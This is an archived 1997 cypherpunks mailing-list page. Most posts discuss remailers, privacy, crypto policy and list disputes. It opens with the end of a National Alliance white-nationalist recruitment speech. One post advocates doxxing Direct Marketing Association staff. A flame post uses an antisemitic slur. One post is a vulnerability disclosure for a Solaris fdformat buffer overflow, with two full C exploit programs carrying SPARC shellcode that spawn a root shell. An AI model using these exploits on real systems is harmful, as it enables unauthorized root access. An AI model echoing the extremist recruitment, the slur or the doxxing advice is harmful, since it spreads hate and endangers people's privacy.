today. That's the first step: education. Education alone is not enough, of course, but it is necessary. Many people will not want to be educated. They will be afraid to listen to anything which is not Politically Correct. They will hate us when we try to educate them. They will go back to their MTV. But for every fool filled with hate and fear who will not listen, we will find a person who already has an understanding of the things I have said today and who only needs to hear us say them in order to gain enough confidence to know that his understanding is correct. And we will find other people who have not yet achieved understanding but whose hearts and minds are open, and who can accept the truth when it is presented to them. And so that is our immediate task: yours as well as mine. We must reach out to our people. We must alert them. We must educate them. We must encourage them. We must inspire them. And here's a beautiful, wonderful thing: when you reach out to other people to encourage them and inspire them, you yourself will be encouraged and inspired. When you find out how many other people there are who share our concerns, our feelings, our values, our sense of responsibility, you cannot help but be encouraged. Even the hatred that you encounter from some people -- especially from people in the controlled media -- will be encouraging. For you will understand that they would not hate us so much if they did not fear us. And the reason that they fear us is that deep inside them they know that what we say is true. So let's get out there -- all of us -- and start looking for encouragement! ~ For more information or to find out how you can join the leading patriotic organization in the world today, visit the National Alliance web site and read "What is the National Alliance" at http://www.natvan.com/WHAT/WHATDIR.HTML.

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Re: Remailer problem solu
by harka＠nycmetro.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- IMHO the remailer network needs to be extended so as to place the risk on (too) many shoulders, thereby reducing it considerably. The winsock remailer has an "shared" option included, meaning every regular e-mail account could serve as a remailer (or at least as middleman). If such an option could be included in e-mail programs, the danger of remailers "dropping like flies left and right" would cease. The accounts could be published on a web page together with the instructions a la Raph's remailer list and the country, where they are located in. Therefore they could even serve as exit point, for the laws of the receiver don't apply there. The only problem I see with shared accounts though is a flood attack, rendering it unusable for the account holder. So probably middleman or PGP-encrypted-only are the most reasonable options. Why not extending the source of Private Idaho to include remailer capabilities, for example? Ciao Harka /*************************************************************/ /* This user supports FREE SPEECH ONLINE ...more info at */ /* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */ /* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */ /* PGP public key available upon request. [KeyID: 04174301] */ /* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ /*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ /* May there be peace in this world, may all anger dissolve */ /* and may all living beings find the way to happiness... */ /*************************************************************/ ___ Blue Wave/386 v2.30 [NR] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBMzTiFDltEBIEF0MBAQHeGgf/Qo6LkT82Fdxu8Jt8oWzSlnJUQTZ1uyMk rLZHi/e2Ha2JMUiS5Uuil+h7GTBIT8FRzeAZmvHDdkRnUTuFF6+WrG373a27f+FA 9TfKwMprz/o7x0iFZc3tL+eEzsuCL3ZCFPhXILVWNbuhFeGMxbgJ0rb/qdXEvGkm 6SF+BKj3ayj9pdLMOaJnue3YG0MEQr0QFVodeuUCTjmexv9WuwgI5D3C9PbXNdwa t4iTU5fH3czuvMvPsTCSnQLfVxNESh2Tv6zzzxkEcmR7iKRTUX+N5gCWYffIecQK 8D5o7Ap8SAG+Fh+0Gb6bAyrgB1Xdajmjp1RsbhsA2CGlvFIv5lK8sg== =teXC -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption...

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Re: "why privacy" revisit
by Jonathan Gaw 17 Dec '03

17 Dec '03

the responses i've gotten have been all too theoretical and, i believe, too hypothetical and removed for most people. when asked if they value their privacy, the public overwhelmingly agrees. when asked what their privacy means to them, i don't think they have a solid answer. i get the sense that most people don't see the hazards of corporations analyzing their buying patterns, voter registration records and medical records. i don't think it has come home to most people. i don't disagree with the people on the list. i am just having a hard time translating it to the public in concrete terms. j. > >At 09:50 PM 3/22/97 -0500, you wrote: >>-----BEGIN PGP SIGNED MESSAGE----- >> >> -=> Quoting In:jonathan@gaw.net to Harka <=- >> >> In> when i talk to people like the Direct Marketer's Assn., they honestly >> In> don't understand what the fuss is about. Their attitude is, quite >> In> literally, "What's the harm being done here?" >> >> In> what do you think the community interested in privacy protection can >> In> do to best illustrate to the general public the "harm" in the >> In> collection of personal information? >> >>Information warfare. Collect information about DMA people, using >>their own weapons against them. Then post it somewhere on the >>Internet via remailers and cc themselves, Reuters and the New York >>Times... >> >>Ciao >> >>Harka >>___ Blue Wave/386 v2.30 [NR] >> >>-----BEGIN PGP SIGNATURE----- >>Version: 2.6.2 >> >>iQEVAgUBMzSWbzltEBIEF0MBAQFOzQf/SmUYerwG8oIDVe+PucyAybBAYpMBl+JT >>eDl21Bs0jVa2+UXm8zDKQVDIkz004bTgpyX6vzockZ8cTUkW1UJJucjUfAXln1yB >>HmdR9Go5mdurGbXf4QSN47nbfPc5V5sq8h7Ok2frFRqKLBejPSuEdP2pZo0OUPQD >>bf0lE3l5lgTKlYqOzHt7NqHNAlcx3l0FOpflF+RR5DbLllBrIP7XYodMLMv+NR3T >>V0oEk0woReL4+/O8iQ1oZuQ3MHNXkwCqR8w2wXnlou9ysfS58nTXgoNyFYKouGlN >>Kc1bV2/G6mrG8PziTd3MsTL4TjdcmkdphZWVouo1LrEuhd3J5B4dBw== >>=rbtn >>-----END PGP SIGNATURE----- >> >> >>If encryption is outlawed, only outlaws will have encryption... >> >> >> ****************************************************** Jonathan Gaw The Star Tribune Minneapolis, Minnesota jonathan(a)gaw.net *********Wasting Digital Bandwidth Since 1986*********

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Re: Remailers & Linux Dis
by harka＠nycmetro.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- -=> Quoting In:alan@ctrl-alt-del.com to Harka <=- In> I think that the actual thing preventing ISPs from setting up In> remailers is more of a liability issue, as opposed to a In> technical one. Absolutely. When I asked my ISP to implement a remailer in the Linux sub system, they said "You mean, OUR Linux??" "NO WAY!!". People are simply afraid of possible liability suits. Therefore remailers should rather be viewed as a problem solved by individuals (not ISP's) and lot's of them... Ciao Harka ___ Blue Wave/386 v2.30 [NR] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBMzT+rDltEBIEF0MBAQGQegf+IuKRoNx98Vss2GkcIVHY7Nfgo4xQVozy XO15FOj0G5BiyoaONxjGJonHPom5fhXbgY74quZOmSD5UKl+ISbpcKEBapyBx12k KQYBVfV0S5dcXvjAUxVZezgz9ebuvO4E9ZJrVrG+8rAdCeOVttXwVGCsCYiEGTz+ 2pUxTpbweqUixevSNHrFakYwmeDcHnyrTCu/KjdecHQfNBZMLmu6O6ooLmcoei6M XZLTeJ5eSEEL3d9WWTrTIpuc2HzuGU1lfp+2+aqEs5K5mFyUH6xXEyt+G46ZXTjg WYyPGwgxxPZJ1q2wS3ON8o+98i/o/L/LDqqrFwmdvY9OOI8hiTTHNA== =SHPF -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption...

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Re: "why privacy" revisit
by harka＠nycmetro.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- -=> Quoting In:jonathan@gaw.net to Harka <=- In> the responses i've gotten have been all too theoretical and, i In> believe, too hypothetical and removed for most people. when asked if <snip> In> i don't disagree with the people on the list. i am just having In> a hard time translating it to the public in concrete terms. >At 09:50 PM 3/22/97 -0500, you wrote: >>Information warfare. Collect information about DMA people, using >>their own weapons against them. Then post it somewhere on the >>Internet via remailers and cc themselves, Reuters and the New York >>Times... Think about it. If there were a couple widely publicized cases, where all the easily obtainable information of individuals were publically postet on the Net, the "public" as such would become aware of it. An example was the Oregon DMV CD... Ciao Harka /*************************************************************/ /* This user supports FREE SPEECH ONLINE ...more info at */ /* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */ /* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */ /* PGP public key available upon request. [KeyID: 04174301] */ /* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ /*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ /* May there be peace in this world, may all anger dissolve */ /* and may all living beings find the way to happiness... */ /*************************************************************/ ___ Blue Wave/386 v2.30 [NR] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBMzT+wTltEBIEF0MBAQElHwf8DePdkRRvp+KJ4FMKRAOUgEKOCEHgB4uD uJSC8rJklzmA2h3kr2aZ/8GqU7mKfKjn3teTz35dRqW3DdwscdVx4hqw2PG+aoV/ RSDMcSYZJiHfTmXPdGhpIp+94OpZ77AVGK5VMloe5/DXqEfvrLmQKNQ2FWlFt7nu BK1Cu48oK6WkEhvehJNpV0/fZ+iArQPzE/Pd2PoqzdHf1+Vfdi3cmzQdi5e9QZd1 vdG1ous5QLKpFwMjT8VvvgyIltfApk5h80Yk0hGXLVfsQ5JzmtVDKJumeidAWDtS xaylFwIcXWbHMWOapQpJbMRO6Y5tEUKFRVgViYdmaqGSuskSHC2u9Q== =uNPm -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption...

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Cocksucker John Gilmore and his mouthpiece Rich Graves exposed as liars
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

I'll quote without comment an article from the alt.cypherpunks newsgroup. ]Path: ...!bloom-beacon.mit.edu!senator-bedfellow.mit.edu!sethf ]From: sethf(a)athena.mit.edu (Seth Finkelstein) ]Newsgroups: comp.org.eff.talk,alt.censorship,alt.cypherpunks ]Subject: The flames from the (gG)raves ]Date: 22 Mar 1997 03:12:09 GMT ]Organization: Massachvsetts Institvte of Technology ]Lines: 269 ]Distribution: inet ]Message-ID: <5gvim9$9d8(a)senator-bedfellow.MIT.EDU> ]References: <5gkfag$36o(a)quixote.stanford.edu> <5gmnuj$1ha(a)senator-bedfellow.MIT.EDU> <m0w7HEz-00022AC(a)quixote.stanford.edu> <5gqfpk$ate(a)senator-bedfellow.MIT.EDU> <5gv2kg$lc5(a)quixote.stanford.edu> ]Reply-To: sethf(a)mit.edu ]NNTP-Posting-Host: frumious-bandersnatch.mit.edu ] ] ]In article <5gv2kg$lc5(a)quixote.stanford.edu>, Rich Graves <rcgraves(a)disposable.com> ]>Warning: The Happynet Unofficial Anti-Censorship Committee has determined ]>the following post to be inappropriate for children and fight-censorship ]>subscribers. Only Seth Finkelstein has been empowered to speak the whole ]>truth by the anti-censorship review board. Please enter the following into ]>your killfile: ] ] Rich is getting nuttier and nuttier. This is not ]unexpected. His pattern is to get more and more slimy as you argue ]with him. Note that the fact that he argues with people who are ]themselves very vile people, Holocaust-deniers, does not change the ]demonstrated truth of this statement. This is again why many people ]end up just ignoring him completely and not wanting to read anything ]from him. ] ]>Seth is nothing if not a reasonable unbiased observer. Trust him. Please. ] ] And I've noted many a time, my qualification is I-was-there. ]I have, however, repeatedly tried to resolve this dispute and read all ]your articles (aggravating though it is almost all of the time). That ]should be worth something. ] ]>No, I mean it. From articles <5ghg1t$7j4$5(a)nntp2.ba.best.com> and ]><5ghg1n$7j4$4(a)nntp2.ba.best.com>, just to be sure I guess: ]> ]>|Rich, have you ever wondered why so many diverse people, with wildly ]>|diverse political views, have accused you of being a left or center ]>|fascist or a commie sympathiser. ]>| ]>|And no, the, fact that you have been accused of being a commie symp is ]>|not evidence that those who called you a fascist were wrong, and vice ]>|versa. The various political positions you have been accused of, tend ]>|to be hard to distinguish in practice. ] ] I suspect this is some sort of a trap, but, noting that I am ]walking into this with my eyes open and aware of it: Rich has lied ]here, and in all the referenced quotes below. They are not from me, ]but someone else. By this tactic, he hopes to imply that if I call him ]a liar, and someone else (say a Holocaust-denier) does the same thing, ]both are equally valid. It is exactly the trick I just detailed a ]posting or two ago, imposing moral equivalence on his critics. ] But note, he did not have to lie in the above to do this ]rhetorical tactic. He could have tried to pull it off by contrasting ]similar-sounding, but correctly-attributed, quotes. But he did not, he ]lied repeatedly. There is no way this sort of thing can be explained ]by benefit of the doubt or a human error or believing separate ]reports. It is a malicious and knowing fabrication. By the standards ]Rich espouses (for other people ...) this should condemn him for all ]eternity. ] ]>And article <5gi741$cbp$1(a)nntp2.ba.best.com>: ]> ]>|Another example of your disturbing affection for state informers and ]>|government goons with guns. ]>[...] ]>|I have no idea what these claims are, but I confidently believe a ]>|couple of things about you that you have forcefully denied. ] ] Didn't write that. I don't care what Rich thinks about guns, ]though I wonder if he should be in one of the groups which should ]certainly be denied them (... history of mental illness). ] ]>And article <5gmff0$109$4(a)nntp2.ba.best.com>: ]> ]>|You are a habitual liar, an apologist for state repression, and a ]>|loon. ] ] Didn't write that. I don't know about "habitual", but I suppose ]it's arguable. I don't care about Rich's politics. Loon, DEFINITELY! ] ]>And <5gqbd5$rkm$2(a)nntp2.ba.best.com>: ]> ]>|You piously declare you are on the side of the angels, while ]>|systematically circulating lies that hurt us and benefit the enemy. ] ] Didn't write it, but I could have :-). But the trick there is ]that "the enemy" could mean in the writer's mind "The Jewish Conspiracy", ]but in my mind "Sensation-Mongering Journalists". The two statements ]then may *sound* alike, but actually be completely different. ] ]>And <5gu8v6$nf$2(a)nntp2.ba.best.com>: ]> ]>|Rich regularly circulates "facts" that are systematically off base in ]>|ways that legitimize and justify the lawless acts of governments and ]>|which denigrate peoples rights. ] ] Didn't write it, again, I very rarely deal with Rich's ]general beliefs about government. I get far too much of him as it is. ] ]>|When called on these he then piously whines how much in favor of ]>|liberty he is. ]>| ]>|He is damned statist liar. ] ] Didn't write it, wouldn't say "statist liar". Of course, this ]repeated tactic of misattribution and the broader trick will speak for itself. ] ]>And <5gu8i6$nf$1(a)nntp2.ba.best.com>: ]> ]>|Oh aren't you wonderful ]>| ]>|You talk the talk but you do not walk the walk. ]>| ]>|You are not on Phil Zimmerman's side. You are on the side of the ]>|feds. ] ] Nowadays, I don't think Rich has any side except his own. He ]strikes me as dangerously unstable. Luckily, he only explodes in whining ]rants - so far. ] ]>Please read no further. This is your last warning. ]> ]>OK, I lied. I do that habitually, don't you know. THIS is your last ]>warning. ] ] Doesn't make it right. Most of the time, you slant and ignore ]contrary evidence. That hasn't worked for you in this thread, so now ]you've escalated. One might also point to the absurdity of posting ]long vitriolic articles and saying "don't read this". It's part of a ]pattern of doing something nasty and vicious and vile, and then ]denying that you're actually doing it. ] ] ]>In article <5gqfpk$ate(a)senator-bedfellow.MIT.EDU>, ]>Seth Finkelstein <sethf(a)mit.edu> wrote: ]>> This is so ironic given your venom-filled postings. Yes, I am ]>>flaming you back. It's not nearly as fun when the target is defending ]>>themselves, is it? You just can't get away with the mud without consequences. ]> ]>Seth, you weren't the target, though for what you've done with your ]>miscarried "Justice on Campus," you should be. Since you insist, I'll ]>remedy that lack below. ] ] Umm, you've flamed a lot of people in this thread. And Justice ]on Campus has a lot of contributors, I can't take all credit or blame ]for every part it. I've had a heavy role in some parts of it, and ]deferred in other pieces. ] ]>>>Seth, go to www.dejanews.com. Note that a thread under this title began on ]>>>March 1st. Note that it was a reasonable and civil reply to John Wallace's ]>>>reasonable and civil reply to me. Note that there were several reasonable ]>>>and civil followups. Note that the current topic of this thread did not ]>>>start until March 13th. Note when you arrived, when the content-free ]>>>flames started, and how I broke off a more reasonable subthread to get ]>> ^^^^^^^^^^^^^^ ]>> ]>> Wrong. Note that you smeared everyone around in article ]>>id <5g9sin$g5p(a)quixote.stanford.edu>, that's what started the flame war. ]> ]>Yes, the date on that article is March 13th. There were nine articles in ]>the thread prior to that one. The first post to the thread was March 1st, ]>following up to John Wallace's citation of my name on the so-called ]>fight-censorship list in late February. I was unable to respond to the ]>invocation of my name on the fight-censorship list, so I posted the ]>article here, on March 1st. ] ] Consider the phrase "Note when you arrived, when the ]content-free flames started ...". I arrived *after* you started the ]flamewar, and your mudfest is what began it. You spit in the thread, ]don't complain it now tastes bad. ] ]>> This is the sort of rewriting of history Rich does. He posts some ]>>nasty, provocative flames. When people flame him back, he acts so hurt, ]>>and edits out his part in his retelling, playing the wounded innocent. ]> ]>This is, of course, the unalloyed truth. ] ] We see it demonstrated over and over again. Look at your rewriting ]above. ] ]>>>> Donna Riley and Jean DeCamp shouldn't be touched with a ]>>>>10-foot polemic. I met Jean once. The woman couldn't stop berating me ]>>> ]>>>She should have, with the smear campaign you continue to run against her, ]>> ]>> Her own words condemn her. She'd like to run away from them, ]>>but she can't. ]> ]>I see. How good of you to post selected quotes prominently on the web for ]>more than two years, especially the ones that explicitly read "This is ]>private email" and "Please consider this paragraph confidential." ]>http://joc.mit.edu/footnotes/c3-ljc.txt ] ] Wrong. All the material is there, has been from early on. Read ]the whole thing, http://joc.mit.edu/charges.html#3 , especially ]http://joc.mit.edu/docs/camp.brief.txt . ] In fact, I think my first tussle with her was explaining why ]she was utterly wrong to allege "libelous" in that case, a mistake you ]repeated, but you should know better. ] ]>Justice on Campus. ] ] Take your complaint to all the papers and magazines printing ]Timothy McVay's "confession?" now. ] ]>>>But she didn't take a swing at you, did she? I can only think of one ]>>>person mentioned in this thread who was arrested and convicted for taking ]>>>swings at someone he was living with. "Justice on Campus" they call the ]>> ]>> Actually, said person was falsely and maliciously accused by ]>>the ex- who has a history of making far-out accusation, on the eve of ]>>their relationship breakup, and couldn't afford to fight it all the ]>>way through (for years?). But talk about one-sided, Rich wouldn't tell ]>>you any of that. ]> ]>Right. I haven't posted the URL for the police report, which mentions ]>third parties Yang and Gardy calling the police when they heard the ] ] Nor have you mentioned it's hosted by the same person who made ]bogus harassment charges against JOC and me, which where completely ]false and malicious, and has an amazing history of prevarication. ] ]>some concern for personal privacy. I will merely say that in my personal ]>opinion, you are a disgusting individual for allowing yourself to be so used. ] ] I love you too. ] ]>If you don't think a reasonable and prudent person would read the ]>police report or judgement this way, then by all means, post the URL on ]>"Justice" on Campus. You consider it your duty to post selected personal ]>email between third parties; why not public record? ] ] I personally believe there's something wrong with it, because ]it's hosted by the very same guy who tried to get JOC and me in trouble ]with manufactured malicious charges. See http://joc.mit.edu/attack.html ] If I were dealing with it, I'd put *everything* up in defense, ]but again, I understand at a human level the reaction not to wallow ]though the mud of an angry ex-'s accusations. ] ]>> You're very mixed up. Bogus harassment charges were filed ]>>against *me*, and it gave me a very good view of CMU-style politics. ]>>They use harassment charges and threats as standard weapons down there. ]> ]>I see. Again, this is the unalloyed truth. "Justice on Campus." ] ] Rich, exactly what part do you doubt? That charges were made? ]That's never been denied by anyone involved. That they were phony? ]Well, given that I was hundreds of miles away, and I don't think I ]ever sent the guy e-mail, it's hard to make an argument (unless you ]consider Usenet flaming to be sufficient, which I would really advise ]you not to do). So yes, that's the unalloyed truth. ] ]>>>Yes. Two simple wording changes. Please change the name of the list to ]>>>"fight" and change the word "unmoderated" to "moderated." ]>> ]>> In other words, *SNEER*. It's not about the wording, it's ]>>about your whining, nothing would make you happy, you just want an ]>>issue to cry about. ]> ]>Two simple changes to the wording, in the interest of accuracy. That's all. ] ] "Lightly moderated with regard to participants" seems very non-sneery, ]but I doubt it'll make you happy. ] ]>> Explain to me how importing this flame war onto the mailing ]>>list is going to help anything at all. It seems to me it'd just make ]>>things worse. ]> ]>Well, there we disagree. Convene the Happynet Unofficial Anti-Censorship ]>Committee and mull it over at your leisure. I'm in no hurry. ] ] So tell me how it's going to help anything. At this point, I ]think you're beyond help. ] ]-- ]Seth Finkelstein sethf(a)mit.edu ]Disclaimer : I am not the Lorax. I speak only for myself. ](and certainly not for Project Athena, MIT, or anyone else). ] --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

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Remake: buffer overflow in /bin/fdformat + exploit (Solaris2.X)
by Cristian Schipor 17 Dec '03

17 Dec '03

motto: " No one would have believed in the last years of the nineteenth century that this world was being watched keenly and closely by intelligences greater than man's and yet as mortal as his own; that as men busied themselves about their various concerns they were scrutinised and studied, perhaps almost as narrowly as a man with a microscope might scru- tinise the transient creatures that swarm and multiply in a drop of water." H.G.Wells - "The War of the Worlds" Sun Mar 23 16:56:15 EET 1997 Romania "Remake for bufer-overflow in find_media() now in /bin/fdformat" The buffer overflow bug I posted to you in Mar 13 1997 is present in /bin/fdformat too (which has in may solaris 2.4 and 2.5.1 distributions the suid-exec bit on and it is owned by root). By exploiting fdformat with suid-exec bit on, anyone can gain a root (or who is the owner of fdformat) shell. So, to prevent an fdformat exploit, remove the suid-exec bit from /bin/fdformat. Cristian Schipor - Computer Science Faculty - Bucharest - Romania Email: skipo(a)math.pub.ro, skipo(a)sundy.cs.pub.ro, skipo(a)ns.ima.ro Phone: 401-410.60.88 See http://www.math.pub.ro/security My exploits (with argv[1] you can change the STACK_OFFSET, +- x, x=8*k k=1,2,3,...): --------------------------- lion24.c --------------------------------- /* Solaris 2.4 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 264 #define EXTRA 36 #define STACK_OFFSET -56 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/fdformat", "fdformat ", &buf[0],(char *) 0); perror("execl failed"); } ------------------------------ end of lion24.c -------------------------- -------------------------------- lion25.c ------------------------------ /* Solaris 2.5.1 - this exploited was compiled on Solaris2.4 and tested on 2.5.1 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 364 #define EXTRA 400 #define STACK_OFFSET 704 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/fdformat", "fdformat", & buf[1],(char *) 0); perror("execl failed"); } --------------------------- end of lion25.c -------------------------------

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Interesting Job Offer
by Brad Dolan 17 Dec '03

17 Dec '03

>From *Nuclear News*, 3/97: YOUR OFFICE IS THE WORLD You are interested in the constant changes on the world stage and you want to become a part of it. Your workplace becomes this dynamic world arena when you choose a career as an overseas Operations Officer with the Central Intelligence Agency. PUT YOUR TECHNICAL EXPERTISE TO GOOD USE Right now, we are seeking highly motivated men and women with degrees in scientific and technical fields. To qualify, you must combine proven personal integrity and trustworthiness with qualifications in: + Electrical/Electronic Engineering + Computer Science + Physics + Nuclear Engineering + Mathematics We are particularly interested in individuals with undergraduate or postgraduate degrees in these disciplines who also have work experience in telecommunications, satellite communications, programming, networking, Internet communications or technology- related R&D efforts. A UNIQUE CAREER THAT IS NOT FOR EVERYONE If it's right for you, you'll know it. And you'll know you can't find it anywhere else. You must have a strong interest in international trends and events, in how advanced technologies impact areas such as international terrorism, narcotics trafficking, weapons development, world ecology and political stability. Apply your technological expertise to support U.S. security and make a positive difference in our world. COMBINE ACADEMIC EXCELLENCE WITH STREET SMARTS It takes more to qualify for this unusual career track than just technical expertise. You will be working in multicultural environments with foreign nationals, so you must be comfortable and "at home" anywhere in the world. Excellent written and verbal communication skills and foreign language proficiency are essential tools of your trade. Previous overseas residence or extensive foreign travel are definite assets. U.S. citizenship or legal resident status is required. All applicants must successfully complete a thorough medical and psychiatric exam, a polygraph interview and an extensive background investigation. The CIA encourages applications from men and women of every racial and ethnic background from all parts of the country. To apply, send your resume, along with a cover letter describing your interest in working overseas as a CIA Operations Officer. We will respond within 30 days if your application is evaluated as being of interest. Central Intelligence Agency Thomas Benning Dept. YOW-NN397 P.O. Box 12708 Rosslyn Station Arlington, VA 22209 The CIA is an equal opportunity employer CAREERS FOR A CHANGING WORLD Circle Reader Service No. 57

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Re: Britain to ban free use of crypto? (fwd)
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

[This message was run through an anonymizer as a spam-blocker. My .sig is at the end.] "Peter D. Junger" <junger(a)upaya.multiverse.com> stated: >After a very quick reading of this proposal I am convinced that all it >would do if implemented by legislation that follows its recommendations >would be to forbid those who are in the UK from using an unlicensed >key escrow services. > >It quite clearly does not intend to ban the use of cryptography or the >publication of cryptographic software. FWIW, the speaker from the UK government at CFP '97 described the proposal in almost exactly these terms. And tried to make clear that greater bans were not on the agenda, at least for now. A. Michael Froomkin | +1 (305) 284-4285; +1 (305) 284-6506 (fax) Associate Professor of Law | "Cyberspace" is not a place. U. Miami School of Law | P.O. Box 248087 | http://www.law.miami.edu/~froomkin Coral Gables, FL 33124 USA | It's warm here.

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FWD: [PGP-USERS] Private Idaho banned
by camcc＠abraxis.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- >Resent-From: pgp-users-request(a)rivertown.net >X-Sender: joelm(a)mail.eskimo.com >Date: Sun, 23 Mar 1997 06:57:45 -0800 >To: pgp-users(a)rivertown.net >From: Joel McNamara <joelm(a)eskimo.com> >Reply-To: pgp-users(a)rivertown.net >Subject: [PGP-USERS] Private Idaho banned > >Just got some interesting correspondence from someone in the United Arab >Emirates. > >It appears the government is blocking access to my Private Idaho >distribution Web page. Apparently the UAE only allows ISP customers to >access the Net through a proxy server, similar to Singapore. They're >blocking out the typical nasty porn sites, Cindy Crawford fan clubs, etc. > >Well, obviously someone over there finds Private Idaho subversive enough to >block. > >Tsk, tsk, tsk. > >I'd appreciate any other accounts of countries that are blocking >http://www.eskimo.com/~joelm/pi.html or http://www.eskimo.com/~joelm. >Wonder if the UK will be next? > >Joel > -----BEGIN PGP SIGNATURE----- Version: 4.5 iQCVAgUBMzVfKCKJGkNBIH7lAQE0ywQAr6SGyK+CUhzTPHSVmWAHlpKortgAUGl7 YWNQ+M9JplKfZhpJhH7KY4xtkmqoPlSZIRYGdobHlvTcPruzv0WmuMA/neXHuhJx LJQYiNxiN+cqobhrlCjce6h73HKBdi2qPgRQsLshnmbRJ/ddydThauWMp1qTruhv HiOlmlth0U0= =GXJy -----END PGP SIGNATURE-----

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Gilmore is sabotaging the lists again
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

I cc:'d this to cypherpunks(a)cyberpass.com; one week later is bounced ]Subject: Returned mail: Cannot send message for 1 week ] ] ----- Transcript of session follows ----- ]While talking to www.cyberpass.com: ]>>> MAIL From:<dlv(a)bwalk.dm.com> ]<<< 451 queuename: Cannot create "qfIAA10925" in "/usr/spool/mqueue" (euid=35): Disc quota exceeded ] ] ----- Unsent message follows ----- ]To: kszczypi(a)tele.pw.edu.pl (Krzysztof Szczypiorski) ]Cc: cypherpunks(a)cyberpass.com ]Subject: The mysterious disappearance of 1400 subscribers and gateways ]From: dlv(a)bwalk.dm.com (Dr.Dimitri Vulis KOTM) ]Comments: All power to the ZOG! ]Message-Id: <152L4D39w165w(a)bwalk.dm.com> ]Date: Sat, 15 Mar 97 09:01:23 EST ]In-Reply-To: <199703151216.NAA01640(a)titan.tele.pw.edu.pl> ]Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y. ] ][cc:'d to c-punks who were wondering what happened to the 1400 lurkers ] ] ]kszczypi(a)tele.pw.edu.pl (Krzysztof Szczypiorski) writes: ] ]> Hi, I remember that you ara one of the most active people on cypherpunks ]> list. I've got the simple question: what the current status of cypherpunks ]> list is? Is the list moderated? The last posting that I've received is dated ]> on Feb 20... It was a couple of weeks ago.... :(( ] ]Cypherpunks is currently an unmoderated distributed list. You can send the ]command 'subscribe cypherpunks' to one of several sites: ] majordomo(a)algebra.com ] majordomo(a)ssz.com ] majordomo(a)cyberpass.com ] ]You can send submissions to cypherpunks@ any of these sites. ] ]If someone (Dale?) has saved the output from several 'who's over the last ]few months, it might be a good idea to e-mail them once and to tell them ]this. Apparently the new subscription instructions never made it to those ]who remained only on the moderated list. ] ]Wseho Nalepshego.

